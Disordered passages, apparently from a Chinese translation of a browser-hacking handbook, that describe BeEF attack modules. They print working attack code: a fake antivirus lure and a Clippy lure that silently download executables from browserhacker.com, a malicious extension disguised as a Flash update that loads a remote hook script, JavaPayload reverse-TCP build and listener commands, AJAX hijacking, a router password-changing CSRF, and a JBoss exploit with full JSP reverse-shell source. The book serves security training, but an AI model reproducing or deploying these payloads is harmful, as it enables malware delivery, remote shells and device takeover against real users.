    {"text": "下面的JavaScript函数可以实现此逻辑： function grayOut(vis) { var dark=document.getElementById('darkenScreenObject'); if (!dark) { var tbody = document.getElementsByTagName(\"body\")[0]; var tnode = document.createElement('div'); tnode.style.position='absolute'; tnode.style.top='0px'; tnode.style.left='0px'; tnode.style.overflow='hidden'; tnode.style.display='none'; tnode.id='darkenScreenObject'; tbody.appendChild(tnode); dark=document.getElementById('darkenScreenObject'); } if (vis) { var opacity = 70; var opaque = (opacity / 100); dark.style.opacity=opaque; dark.style.MozOpacity=opaque; dark.style.filter='alpha(opacity='+opacity+')'; dark.style.zIndex=100; dark.style.backgroundColor='#000'; dark.style.width='100%'; dark.style.height='100%'; dark.style.display='block'; } else { dark.style.display='none'; } } 当执行 grayOut(true) 时，一个不透明度为70%的黑色元素将会填充整个屏幕，从而使得被遮住的部分呈现出一种变暗的效果。 当执行 grayOut(false) 时，则该元素的 display 属性会改回为 none ，从而再将该元素隐藏。 接下来的函数用于在黑色背景元素之上显示一个伪造的杀毒软件图片： function avpop() { avdiv = document.createElement('div'); avdiv.setAttribute('id', 'avpop'); avdiv.setAttribute('style', 'width:754px;height:488px;position:fixed; top:50%; left:50%; margin-left: -377px; margin-top: -244px; z-index:101'); avdiv.setAttribute('align', 'center'); document.body.appendChild(avdiv); avdiv.innerHTML= '<br><img id=\\'avclicker\\' src=\\'http://browserhacker.com/avalert.png\\' />'; } 当执行 avpop() 函数时，该函数会在当前的黑色背景之上创建一个新元素，其中只有一张图片。 通过给该图片附加一个点击处理程序，便可以完成这个循环： $j('#avclicker').click(function(e) { var div = document.createElement(\"div\"); div.id = \"download\"; div.style.display = \"none\"; div.innerHTML= \"<iframe src='http://browserhacker.com/bad_executable.exe' width=1 height=1 style='display:none'></iframe>\"; document.body.appendChild(div); $j('#avpop').remove(); grayOut(false); }); 当用户点击伪造的杀毒软件图片时，会自动加载一个隐藏的IFrame，并开始从 http://bro-wserhacker.com/bad_executable.exe 下载可执行程序。"},
    {"text": "22 Microsoft. (2013). Introduction to HTML Applications (HTAs) . Retrieved November 15, 2013 from http://msdn.microsoft.com/en-us/library/ms536496%28v=vs.85%29.aspx 23 Sophos. (2009). The Power of (Misplaced) Trust: HTAs and Security . Retrieved November 15, 2013 from http://nakedsecurity.sophos.com/2009/10/16/power-misplaced-trust-htas-insecurity/ 下面的代码是一个由Ruby写的简易的Web服务器，提供一个小的HTA应用： require 'rubygems' require 'thin' require 'rack' require 'sinatra' class Hta < Sinatra::Base before do content_type 'application/hta' end get \"/application.hta\" do \"<script>new ActiveXObject('WScript.Shell')\" + \".Run('calc.exe')</script>\" end end @routes = { \"/\" => Hta.new } @rack_app = Rack::URLMap.new(@routes) @thin = Thin::Server.new(\"browserhacker.com\", 4000, @rack_app) Thin::Logging.silent = false Thin::Logging.debug = true puts \"[#{Time.now}] Thin ready\" @thin.start 当用户被诱导打开http://browserhacker.com:4000/application.hta后，他们会收到图5-17所示的警告对话框。"},
    {"text": "但最终为了能运行扩展，你可能还需要在目标浏览器中执行以下的JavaScript代码： grayOut(true); avpop(); BeEF的Fake AV模块提供了同样的逻辑，而且该模块运行时，目标用户会看到类似于图5-18中的界面。"},
    {"text": "有别于简单地诱导用户下载可执行程序，该模块会试图强迫用户安装一个恶意的浏览器扩展（如图5-19、图5-20、图5-21及图5-22所示）。"},
    {"text": "此外，如Michael Schierl所言，由于此类攻击使用了自引导型扩展 24 ，因此无论用户在安装扩展后是否重启浏览器，该模块的攻击力都不会受到影响。"},
    {"text": "24 Mozilla. (2013). Bootstrapped extensions . Retrieved November 15, 2013 from https://developer.mozilla.org/en-US/docs/Extensions/Bootstrapped_extensions 从前面的图示中你应该不难发现，该模块的主要攻击目标是Firefox浏览器。"},
    {"text": "25 Michele Orrù and Luca Carettoni. (2013). Subverting a cloud-based infrastructure with XSS and BeEF . Accessed April 6, 2013. http://blog.beefproject.com/2013/03/subverting-cloud-based-infrastructure.html 图5-23显示了已在Chrome应用商店上架的恶意扩展。"},
    {"text": "manifest.json内容如下： { \"name\": \"Adobe Flash Player Security Update\", \"manifest_version\": 2, \"version\": \"11.5.502.149\", \"description\": \"Updates Adobe Flash Player with latest security updates\", \"background\": { \"scripts\": [\"background.js\"] }, \"content_security_policy\": \"script-src 'self' 'unsafe-eval' https://browserhacker.com; object-src 'self'\", \"icons\": { \"16\": \"icon16.png\", \"48\": \"icon48.png\", \"128\": \"icon128.png\" }, \"permissions\": [ \"tabs\", \"http://*/*\", \"https://*/*\", \"file://*/*\", \"cookies\" ] } background.js内容如下： d=document; e=d.createElement('script'); e.src=\"https://browserhacker.com/hook.js\"; d.body.appendChild(e); manifest.json文件中的背景元素表明，background.js文件会在该扩展启动时执行。"},
    {"text": "26 Microsoft. (2013). Browser extension hijacks Facebook profiles . Retrieved November 15, 2013 from http://blogs.technet.com/b/mmpc/archive/2013/05/10/browser-extension-hijacks-facebook-profiles.aspx 5. 使用Clippy 微软的Office助手，我们更多地叫它Clippy（大眼夹），是微软开发的一款旨在帮助用户更好地使用Office的智能助手概念产品。"},
    {"text": "27 Wikipedia. (2013). Office assistant . Retrieved November 15, 2013 from http://en.wikipedia.org/wiki/Office_Assistant Nick Freeman和Denis Andzakovic舍不得同Clippy告别，为此他们开发了Clippy模块作为纪念。"},
    {"text": "实现这个功能的代码如下： Clippy.prototype.hahaha = function() { var div = document.createElement(\"div\"); var _c = this; div.id = \"heehee\"; div.style.display = \"none\"; div.innerHTML=\"<iframe src='http://browserhacker.com/calc.exe' width=1 height=1 style='display:none'></iframe>\"; document.body.appendChild(div); _c.openBubble(\"Thanks for using Clippy!\"); setTimeout(function () { _c.killClippy(); }, 5000); } 调用 _c.openBubble() 函数弹出一个PopupDisplay对话框，看起来像是Clippy吐了个泡泡。"},
    {"text": "以下是一个范例： var Help = new HelpText(\"Would you like to update your browser?\"); Help.addResponse(\"Yes\",function() { _c.hahaha(); }); Help.addResponse(\"Not now\", function() { _c.killClippy(); setTimeout(function() { new Clippy().run(); }, 5000); }); this.addHelp(Help,true); Help 这个 HelpText 对象包括了一个默认问题以及两个答案。"},
    {"text": "图 5-24 激活时的Clippy 虽然这个模块肯定会让人觉得有些好笑，但事实上确实有不少人会被Clippy对话框迷惑，并在收到软件升级通知时选择同意。"},
    {"text": "5.3.4 使用经过签名的Java小程序 经过前面的学习，你已经了解了一些诱导用户进行操作的方法，其中包括使用虚假的登录提示等钓鱼手段，以尝试诱骗用户泄露敏感信息。 另一个常见的技术就是尝试诱导用户运行恶意代码，以获取在浏览器外运行命令的权限（比如利用经过签名的Java小程序）。"},
    {"text": "28 Alex McGeorge. (2013). We need to talk about Java . Retrieved November15, 2013 from http://seclists.org/dailydave/2013/q4/1 图 5-25 自签名的Java小程序安全对话框 如果这个小程序经过Symantec或其他SSL厂商的证书签名，则不会向用户展示上述安全对话框。"},
    {"text": "还有更高级的用法，它们可能会在一些特殊场景下派上用场，比如OpenOffice BeanShall宏（基于Java）或者JDWP（Java Debug Wire Protocol，Java调试通信协议）加载器等。"},
    {"text": "在环境搭建完成后，可以使用如下命令编译有效载荷： java -cp JavaPayload.jar javapayload.builder.AppletJarBuilder ReverseTCP 上述命令会编译生成Applet_ReverseTCP.jar文件，但在将该文件发送给目标用户之前，我们还必须对它进行签名。"},
    {"text": "执行下面的命令可以生成密钥文件，接着我们用它为JAR文件签名： keytool -keystore <keyfile> -genkey jarsigner -keystore <keyfile> Applet_ReverseTCP.jar mykey 一旦该小程序在目标电脑上开始执行，它会尝试反向连接攻击者的设备。"},
    {"text": "使用如下命令打开监听器： java -cp JavaPayload.jar javapayload.handler.stager.\\ StagerHandler ReverseTCP <Listening IP>\\ <Listening TCP Port> -- JSh Java Applet模块依赖于BeEF的 beef.dom.attachApplet() 函数，碍于篇幅我们不在这里展开介绍，你可以在 https://browserhacker.com 查看代码。 使用类似如下的JavaScript代码加载先前创建的小程序： beef.dom.attachApplet(applet_id, applet_name, 'javapayload.loader.AppletLoader', null, applet_archive, [{'argc':'5', 'arg0':'ReverseTCP', 'arg1':attacker_ip, 'arg2':attacker_port, 'arg3':'--', 'arg4':'JSh'}] ); 这个函数需要以下几个参数。"},
    {"text": "为了提升攻击的效果，尤其是应付可能会出现的Java对话框，我们有必要花些心思进行优化，比如加入一些具有迷惑性的内容，或者使用一些社会工程学的手段等。"},
    {"text": "这看起来好像很复杂，其实非常简单，例如在用户启动时弹出一个伪造的对话框：“非常抱歉，由于我们网站配置的变化，您可能会收到一个关于小程序的警告对话框，这是正常的。"},
    {"text": "” 基于经过签名的小程序的病毒植入器 如果JavaPayload不能满足你的需求，那你可以尝试一下BeEF的Signed Applet Dropper模块。 它与前面提到的Firefox Extension Dropper的原理基本相同，主要的区别在于当目标用户允许该小程序（使用不可信证书签名）运行时，它会动态下载病毒植入器并开始运行。"},
    {"text": "图 5-26 Java Payload help 命令 图 5-27 Java Payload ls 命令 如果你需要获取上文中模块的完整代码，可以访问 https://browserhacker.com ，或Wiley的网站 www.wiley.com/go/browserhackershandbook 。"},
    {"text": "事实上，其中的许多例子都通过分层的方法实现，攻击者会在使用一定社会工程学知识的同时，进一步利用浏览器及其扩展的技术知识完成完美的攻击。"},
    {"text": "内嵌框架在本书中会被多次提到，包括9.7.2节讨论使用XssRays发现XSS缺陷的时候，以及4.3.2节讨论点击劫持和光标劫持攻击的时候。"},
    {"text": "使用完全叠加层 由于可以控制内嵌框架中的DOM，包括HTML、CSS和JavaScript，所以可以利用内嵌框架把当前页面加载到一个叠加层里，从而在后台保持通信渠道畅通。 所谓叠加层，指的是一个页面组件，比如一个内嵌框架可以在页面上看到，但代码及其他元素在后台并不可见，而是持续执行自己的逻辑。"},
    {"text": "下面的代码片段展示了使用jQuery创建一个叠加内嵌框架的过程. createIframe: function(type, params, styles, onload) { var css = {}; if (type == 'hidden') { css = $j.extend(true, { 'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); } if (type == 'fullscreen') { css = $j.extend(true, { 'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); } var iframe = $j('<iframe />').attr(params).css( css).load(onload).prependTo('body'); return iframe; } 这个函数可以创建叠加层（ if type == 'fullscreen' ），也可以创建隐藏的内嵌框架。"},
    {"text": "createIframe('fullscreen',{'src':'/login.jsp'}, {}, null); 如果初始勾连的页面不一样，比如是 /page.jsp ，那么用户可能发现叠加了内嵌框架后的结果有问题。"},
    {"text": "为了解决这个问题，可以利用HTML5 History API 13 ： 13 Mozilla. (2013). Manipulating the browser history . Retrieved March 8, 2013 from https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history history.pushState({be:\"EF\"}, \"page x\", \"/login.jsp\"); 执行前面的代码会让浏览器把地址栏中显示的内容改成 http://<勾连的域>/login.jsp 。"},
    {"text": "以下是一个基本的实现，可以在除了Opera 12之前版本的所有桌面浏览器中工作： function display_confirm(){ if(confirm(\"Are you sure you want to navigate away from this page?\\n\\n There is currently a request to the server pending. You will lose recent changes by navigating away.\\n\\n Press OK to continue, or Cancel to stay on the current page.\")){ display_confirm(); } } function dontleave(e){ e = e || window.event; // 如果浏览器是IE，语法稍有不同 if(browser.isIE()){ e.cancelBubble = true; e.returnValue = \"There is currently a request to the server pending. You will lose recent changes by navigating away.\"; }else{ if (e.stopPropagation) { e.stopPropagation(); e.preventDefault(); e.returnValue = \"There is currently a request to the server pending. You will lose recent changes by navigating away.\"; } } // 再次显示确认对话框，如果用户按OK，就继续骚扰他 display_confirm(); return \"There is currently a request to the server pending. You will lose recent changes by navigating away.\"; } window.onbeforeunload = dontleave; 这个例子会覆盖已经注册 onbeforeunload 事件的代码，而执行 dontleave 函数。 另外要注意，在IE中， cancelBubble 及 stopPropagation() 函数会停止命令的传播，从而防止已有函数干扰新代码。"},
    {"text": "图 3-10 Firefox 18中的第一个对话框，包含自定义内容（由JavaScript控制） 图 3-11 Firefox 18中的第二个对话框（不能通过JavaScript控制） Windows 7中的IE9的行为也类似，只不过可以稍微多控制一些对话框文本，如图3-12和图3-13所示。"},
    {"text": "图 3-12 IE9中的第一个对话框，包含自定义内容（由JavaScript控制） 图 3-13 IE9中的第二个对话框（由JavaScript控制） 鉴于Firefox和Chrome中有限的消息自定义能力，应该只对IE使用 onClose 。"},
    {"text": "默认情况下，下面的代码在最新版本的Firefox和Chrome中会被屏蔽： window.open('http://example.com','popunder','toolbar=0 location=0,directories=0,status=0,menubar=0,scrollbars=0, resizable=0,width=1,height=1,left='+screen.width+', top='+screen.height+'').blur(); window.focus(); 之所以会被屏蔽，是因为浏览器认为这个新窗口并未经用户操作（比如单击鼠标）就打开了。"},
    {"text": "假设有一个可以控制的链接，可能是动态创建的，也可能是 onClick 属性中的一个XSS隐患，比如： <a id=\"malicious_link\" href=\"http://google.com\" onclick=\" open_link()\">Goo</a> 然后在同一个页面中注入以下JavaScript代码： function open_link(){ window.open('http://example.com','popunder','toolbar=0, location=0,directories=0,status=0,menubar=0,scrollbars=0, resizable=0,width=1,height=1,left='+screen.width+', top='+screen.height+'').blur(); window.focus(); } function clickLink(link) { var cancelled = false; if (document.createEvent) { var event = document.createEvent(\"MouseEvents\"); event.initMouseEvent(\"click\", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null); link.dispatchEvent(event); }else if(link.fireEvent){ link.fireEvent(\"onclick\"); } } clickLink(document.getElementById('malicious_link')); 前面的代码告诉浏览器在一个具有给定ID的 a 元素被单击时，执行 clickLink() 函数。"},
    {"text": "$.popunder() 函数是一个jQuery插件 14 ，作者是Hans-Peter Buniat，用于创建跨浏览器的底层弹出窗口。 14 Hans-Peter Buniat. (2012). jQuery pop-under . Retrieved March 8, 2013 from https://github.com/hpbuniat/jquery-popunder var anchors = document.getElementsByTagName(\"a\"); for (var i = 0; i < anchors.length; i++) { if(anchors[i].hasAttribute(\"onclick\")){ anchors[i].removeAttribute(\"onclick\"); } // aPopunder对象在下面的代码片段中定义 anchors[i].setAttribute(\"onclick\", \"$.popunder(aPopunder)\") } 当用户单击这个页面中的一个链接时，除了打开 href 属性中的URI，还会打开一个底层弹出窗口。"},
    {"text": "注意，图中的几个底层弹出窗口是手工拖动到目前所在位置的（浏览器主窗口的左侧），要不然用户是看不到的。 图 3-14 Firefox和Safari中底层弹出窗口的大小差异 为此，可以把 $.popunder() 函数修改为如下所示： var aPopunder = [ ['http://browserhacker.com', {\"window\": {height:1, width:1, left:window.screenX, top:window.screenY}}]; $.popunder(aPopunder) 这样在用户单击被动态修改后的链接时，就会加载一个指向http://browserhacker.com的底层弹出窗口。"},
    {"text": "利用这个技术可以更有效地实现持久化，避免很多传统内嵌框架叠加的安全问题，因为即使在有X-Frame-Options首部和其他扩张框架逻辑的情况下，它仍然有效。"},
    {"text": "比如，修改一个银行网站的登录页面，声称银行提供了新的“安全”措施，需要用户提供生日、母亲的娘家姓等详细信息，或者其他认证信息（比如RSA一次性PIN）。"},
    {"text": "15 IOActive. (2012). Reversal and Analysis of Zeus and SpyEye Banking Trojans . Retrieved March 8, 2013 from http://www.ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf 1. 劫持AJAX调用 MitB攻击的目标是劫持AJAX的GET和POST请求，无论同源还是跨域都可以。"},
    {"text": "init:function (cid, curl) { beef.mitb.cid = cid; beef.mitb.curl = curl; /*重写open方法以劫持Ajax请求*/ var xml_type; var hook_file = \"<%= @hook_file %>\"; if (window.XMLHttpRequest && !(window.ActiveXObject)) { beef.mitb.sniff(\"Method XMLHttpRequest.open override\"); (function (open) { XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) { // 忽略，不劫持 // 这个请求属于轮询过程 if (mitb_call || (url.indexOf(hook_file) != -1 || \\ url.indexOf(\"/dh?\") != -1)) { open.call(this, method, url, async, true); } else { var portRegex = new RegExp(\":[0-9]+\"); var portR = portRegex.exec(url); var requestPort; if (portR != null) { requestPort = portR[0].split(\":\")[1]; } // GET请求 if (method == \"GET\") { // GET请求 -> 跨源 if (url.indexOf(document.location.hostname) == -1 || \\ (portR != null && requestPort != document.location.port )){ beef.mitb.sniff(\"GET [Ajax CrossDomain Request]: \" + url); window.open(url); }else { // GET请求 -> 同源 beef.mitb.sniff(\"GET [Ajax Request]: \" + url); if (beef.mitb.fetch(url, document.getElementsByTagName(\"html\")[0])){ var title = \"\"; if(document.getElementsByTagName(\"title\").length == 0){ title = document.title; } else { title = document.getElementsByTagName( \"title\")[0].innerHTML; } // 写出该页面url history.pushState({ Be:\"EF\" }, title, url); } } }else{ // POST请求 beef.mitb.sniff(\"POST ajax request to: \" + url); open.call(this, method, url, async, true); } } }; })(XMLHttpRequest.prototype.open); } }, 调用这个 init 函数后，每次使用 XMLHttpRequest.open ，其行为都会按照重写后的自定义实现而发生变化。"},
    {"text": "下面是BeEF中的相应代码片段： // 通过AJAX取得勾连的链接 fetch:function (url, target) { try { var y = new XMLHttpRequest(); y.open('GET', url, false, true); y.onreadystatechange = function () { if (y.readyState == 4 && y.responseText != \"\") { target.innerHTML = y.responseText; } }; y.send(null); beef.mitb.sniff(\"GET: \" + url); return true; } catch (x) { window.open(url); beef.mitb.sniff(\"GET [New Window]: \" + url); return false; } }, // 锁定链接，阻止离开 poisonAnchor:function (e) { try { e.preventDefault; if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName(\"html\")[0])) { var title = \"\"; if(document.getElementsByTagName(\"title\").length == 0){ title = document.title; }else{ title = document.getElementsByTagName( \"title\")[0].innerHTML; } history.pushState({ Be:\"EF\" }, title, e.currentTarget); } } catch (e) { console.error('beef.mitb.poisonAnchor - failed to execute: '+ e.message); } return false; }, var anchors = document.getElementsByTagName(\"a\"); var lis = document.getElementsByTagName(\"li\"); for (var i = 0; i < anchors.length; i++) { anchors[i].onclick = beef.mitb.poisonAnchor; } for (var i = 0; i < lis.length; i++) { if (lis[i].hasAttribute(\"onclick\")) { lis[i].removeAttribute(\"onclick\"); /*清除*/ lis[i].setAttribute(\"onclick\", \"beef.mitb.fetchOnclick( '\"+lis[i].getElementsByTagName(\"a\")[0] + \"')\"); /*重写*/ } } 这里的 fetchOnclick 函数与 fetch 函数类似，因此就省略了。"},
    {"text": "Unknown 8.5 问题 (1) 插件与扩展有什么不同？ (2) 在IE中检测插件有什么有效的方法？ (3) 在Firefox中检测插件有什么有效的方法？ (4) 浏览器如何决定使用哪个插件？ (5) 什么情况下签名Java小程序可能存在漏洞？ (6) 为什么应用程序能够覆盖签名小程序的权限模型？ (7) 未签名的Java小程序能否执行操作系统命令？ (8) 识别网站是否保存了Flash数据的两种方法是什么？ (9) 如何检测是否可以通过Flash访问摄像头？ (10) 为什么本地文件执行漏洞在公司环境中影响很大？ 要查看问题的答案，请访问本书网站 https://browserhacker.com/answers ，或者Wiley的网站 http://www.wiley.com/go/browserhackershandbook 。 Unknown 版权信息 书名：黑客攻防技术宝典：浏览器实战篇 作者：[澳] Wade Alcorn [美] Christian Frichot [意] Michele Orrù 译者：奇舞团 ISBN：978-7-115-43394-7 本书由北京图灵文化发展有限公司发行数字版。版权所有，侵权必究。 您购买的图灵电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。 我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。 如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。 图灵社区会员 sh0jkm（1312243384@qq.com） 专享 尊重版权 Unknown 免责声明 有必要在这里声明一下，作为安全专业人士，应该注意自我约束。本书所教授的任何方法，都不是为了鼓励读者去做违反法律的事情。 在实施黑客攻击行动之前，请确保得到了充分授权。这不仅适用于安全纪律，同样也适用于本书讨论的所有技术。"},
    {"text": "插件是连接浏览器和外部代码库或应用的一座桥梁。 安装插件后，会有新代码进入浏览器。 这些代码能够把外部应用链接到浏览器，从而让浏览器能够访问外部应用中的代码。 提供插件接口，以便在浏览器内部支持那些原先只有外部应用支持的文件格式，极大增强了浏览器自身的处理能力。 插件由两部分组成：浏览器API和脚本API。 浏览器API控制浏览器与外部代码的交互，以实现渲染新类型的内容。"},
    {"text": "图 8-1 Firefox Plugins控制面板显示已安装的插件 8.1.1 插件与扩展的区别 从扩展浏览器功能这个角度看，插件和扩展是类似的。 它们的区别主要在于，扩展是通过JavaScript和其他API利用已有的浏览器接口来增加功能，而插件利用的是外部代码。"},
    {"text": "只有当浏览器遇到特定文件格式时，才会用到插件，比如相应的文件通过 <object> 或 <embed> 标签被嵌入网页，或者浏览器接收到了特定的文件。"},
    {"text": "浏览器在遇到这个URL时，比如http://media.blackhat.com/bh-us-12/Briefings/Ocepek/BH_US_12_Ocepek_Linn_BeEF_MITM_WP.pdf，它就知道要用Adobe Acrobat插件，因为Acrobat已经将自己注册为这种MIME类型的处理程序。"},
    {"text": "图 8-2 通过 curl 访问PDF文件时的内容类型为 application/pdf 8.1.2 插件与标准程序的区别 插件与标准程序的区别在于，它们独立地扩展浏览器功能。"},
    {"text": "8.1.3 调用插件 如前所述，插件可以通过两种途径调用：Web服务器交付的Content-type与相应的MIME类型匹配，或者通过 <embed> 或 <object> 标签。"},
    {"text": "以下是在网页中嵌入Flash文件的代码示例： <object data=\"flashdemo.swf\" type=\"application/x-shockwave-flash\"> <param name=\"bhh\" value=\"true\"> </object> 这个示例代码告诉浏览器在页面中嵌入一个对象。"},
    {"text": "1 Mozilla Developer Network. (2013). Putting Users in Control of Plugins . Retrieved October 23, 2013 from https://blog.mozilla.org/security/2013/01/29/putting-users-in-control-of-plugins/ 有了点击播放机制，那些需要调用老版本Flash、Acrobat Reader或Java的攻击就会受到影响，因为用户必须点击屏幕上某个区域，才能激活插件，运行代码。"},
    {"text": "在Firefox中指定特定的Java运行时 如果你确定勾连的Firefox浏览器有权访问某个老版本的JRE（Java Runtime Environment，Java运行时环境），那么可以在 <embed> 标签里修改 type 属性，并使用老版本的JRE运行小程序。"},
    {"text": "比如，下面这段代码： <embed code=\"Malicious.class\" width=\"1\" height=\"1\" type=\"application/x-java-applet;version=1.6.0\" pluginspage=\"http\"://java.sun.com/j2se/1.6.0/download.html />\" 在这里，Malicious.class小程序会尝试用支持MIME类型 application/x-java-applet; version=1.6 的JRE来运行。"},
    {"text": "另外，再看一下这个例子： <embed code=\"Malicious.class\" width=\"1\" height=\"1\" type=\"application/x-java-applet;jpi-version=1.6.0_18\" pluginspage=\"http://java.sun.com/j2se/1.6.0/download.html\" /> 这时候，Malicious.class小程序会尝试在JRE 1.6.0_18中运行。"},
    {"text": "2 Mozilla Blog. (2012). Click-to-Play Plugins Blocklist-Style . Retrieved October 23, 2013 from https://blog.mozilla.org/security/2012/10/11/click-to-play-plugins-blocklist-style/ 在激活点击播放机制的情况下，浏览器会在用户明确得到提示，并点击Accept（接受）之后才会运行插件。"},
    {"text": "图8-3展示了三种不同的插件：需要提示用户来激活的Java插件，会自动播放的QuickTime插件，以及除非用户重新启用，否则永远不会激活的旧版本的Acrobat插件。"},
    {"text": "图 8-3 Firefox的插件选项显示了三种不同的插件状态 8.1.4 插件是怎么被屏蔽的 在探讨插件是怎么被屏蔽的之前，首先我们得理解为什么插件会被屏蔽。"},
    {"text": "不过，屏蔽插件还有其他原因，比如某些插件由于支持流媒体而违反公司制度、涉及隐私，或者可能影响员工工作效率。 可以通过在公司管理的计算机上应用配置来屏蔽插件，或者由提供商自已屏蔽。"},
    {"text": "3 Microsoft TechNet Blogs. (2008). The Kill-Bit FAQ . Retrieved October23, 2013 from http://blogs.technet.com/b/srd/archive/2008/02/06/the-kill_2d00_bit-faq_3a00_-part-1-of-3.aspx 苹果在2013年初加入了屏蔽插件的公司行列，当时它屏蔽了Java 7，以保护用户不会因漏洞版本而受到威胁 4 。"},
    {"text": "4 The Next Web. (2013). Apple takes no prisoners . Retrieved October 23, 2013 from http://thenextweb.com/apple/2013/01/11/apple-takes-no-prisoners-immediately-blocks-java-7-on-os-x-10-6-and-up-to-protect-mac-users 同样，针对ActiveX的kill bits也面世了，用于防止有漏洞的软件在Windows中运行 5 。"},
    {"text": "5 CERT KnowledgeBase. (2013). ActiveX kill bits . Retrieved October 23, 2013 from https://www.kb.cert.org/vuls/id/636312 . Firefox没有提供这些企业级的方案。"},
    {"text": "Unknown 9.10 发动Web应用利用 RCE（Remote Command Execution，远程命令执行）漏洞属于另一类漏洞，有时候并不需要访问HTTP响应，因此可以盲攻。"},
    {"text": "如果把路由器中配置的DNS地址修改为一个你可以控制的服务器地址，那就可以轻松发动DNS欺骗攻击，就像第2章讨论中间人攻击时所讨论的一样。"},
    {"text": "33 F. Assolini. (2012). The tale of one thousand and one DSL modems . Retrieved October 8, 2013 from https://www.securelist.com/en/blog/208193852/The_tale_of_one_thousand_and_one_DSL_modems 34 C. Hoepers. (2012). Tratamento de Incidentes de Segurança e Tendências no Brasil . Retrieved October 8, 2013 from http://www.cert.br/docs/palestras/certbr-jornada-sisp2012.pdf 35 T. Donev. (2011). Comtrend ADSL Router (CT-5367) C01_R12 Remote Root . Retrieved October 8, 2013 from http://www.exploit-db.com/exploits/16275/ (1) 攻击者扫描巴西ISP网络中的数百万台主机的端口，验证哪个主机是存在漏洞的Comtrend路由器。"},
    {"text": "在勾连浏览器上执行它时，会导致默认的密码被修改，并且启用远程管理功能： var gateway = 'http://192.168.1.1/'; var passwd = 'BeEF12345'; // 启用远程管理（如果禁用） var iframe_1 = beef.dom.createInvisibleIframe(); iframe_1.setAttribute(\"src\", gateway + \"scsrvcntr.cmd?action=save&ftp=1&ftp=3\" + \"&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3\" + \"&telnet=1&telnet=3&tftp=1&tftp=3\"); // 为3位用户角色修改密码 var iframe_2 = beef.dom.createIframeXsrfForm( gateway + \"password.cgi\", \"POST\", [ {'type':'hidden', 'name':'sptPassword', 'value':passwd}, {'type':'hidden', 'name':'usrPassword', 'value':passwd}, {'type':'hidden', 'name':'sysPassword', 'value':passwd} ]); 如果代码执行成功，就可以连接到目标的IP，并使用新密码登录到远程管理界面。"},
    {"text": "36 Wikipedia. (1983). Scarface . Retrieved June 15, 2013 from https://en.wikipedia.org/wiki/Scarface_(1983_film) 以下代码演示了BeEF中的一个模块，它被用来绕过JMX认证并部署反弹JSP shell： beef.execute(function() { rhost = \"<%= @rhost %>\"; rport = \"<%= @rport %>\"; lhost = \"<%= @lhost %>\"; lport = \"<%= @lport %>\"; injectedCommand = \"<%= @injectedCommand %>\"; jspName = \"<%= @jspName %>\"; payload = \"[…]\"; uri = \"/jmx-console/HtmlAdaptor;index.jsp?action=invokeOp&name=\\ jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=\\ %2Fconsole-mgr.sar/web-console.war%2F&arg1=\" + jspName + \"&arg2=.jsp\\ &arg3=\" + payload + \"&arg4=True\"; /* 跨源XHR必须指定 dataType : 'script' * 否则即使HTTP响应200，jQuery.ajax也会报错 */ beef.net.forge_request(\"http\", \"HEAD\", rhost, rport, uri, null, null, null, 10, 'script', true, null,function(response){ if(response.status_code == 200){ function triggerReverseConn(){ beef.net.forge_request(\"http\", \"GET\", rhost, rport,\"/web-console/\" + jspName + \".jsp\", null, null, null, 10, 'script', true, null,\\ function(response){ if(response.status_code == 200){ beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, “Reverse JSP shell triggered. Check your MSF handler listener.\"); }else{ beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, “ERROR: second GET request failed.\"); } }); } // 给JBoss部署JSP反向shell留出时间 setTimeout(triggerReverseConn,10000); }else{ beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, “ERROR: first HEAD request failed.\"); } }); }); 以上JSP反弹shell代码是在Metasploit反弹JSP shell代码的基础上修改而成的。"},
    {"text": "其中的 payload 变量包含URL编码的JSP源代码，以下是解码后的结果： <%@page import=\"java.lang.*\"%> <%@page import=\"java.util.*\"%> <%@page import=\"java.io.*\"%> <%@page import=\"java.net.*\"%> <% class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os ) { this.is = is; this.os = os; } public void run() { BufferedReader in = null; BufferedWriter out = null; try { in = new BufferedReader(new InputStreamReader(this.is)); out = new BufferedWriter(new OutputStreamWriter(this.os)); char buffer[] = new char[8192]; int length; while((length = in.read(buffer, 0, buffer.length)) > 0 ){ out.write(buffer, 0, length); out.flush(); } }catch( Exception e ){} try { if( in != null ) in.close(); if( out != null ) out.close(); }catch( Exception e ){} } } try { Socket socket = new Socket(lhost,lport); Process process = Runtime.getRuntime().exec(injectedCommand); (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); } catch(Exception e){} %> 整个利用涉及两个阶段。"},
    {"text": "37 R. Suggi Liverani. (2012). Oracle Glassfish REST Interface—Cross-site Request Forgery Vulnerability . Retrieved June 15, 2013 from http://www.securityassessment.com/files/documents/advisory/Oracle_GlassFish_Server_REST_CSRF.pdf 下面的代码来自Bart Leppens编写的一个BeEF模块，可用于在GlassFish中部署任意WAR，并以GlassFish用户身份执行命令。"},
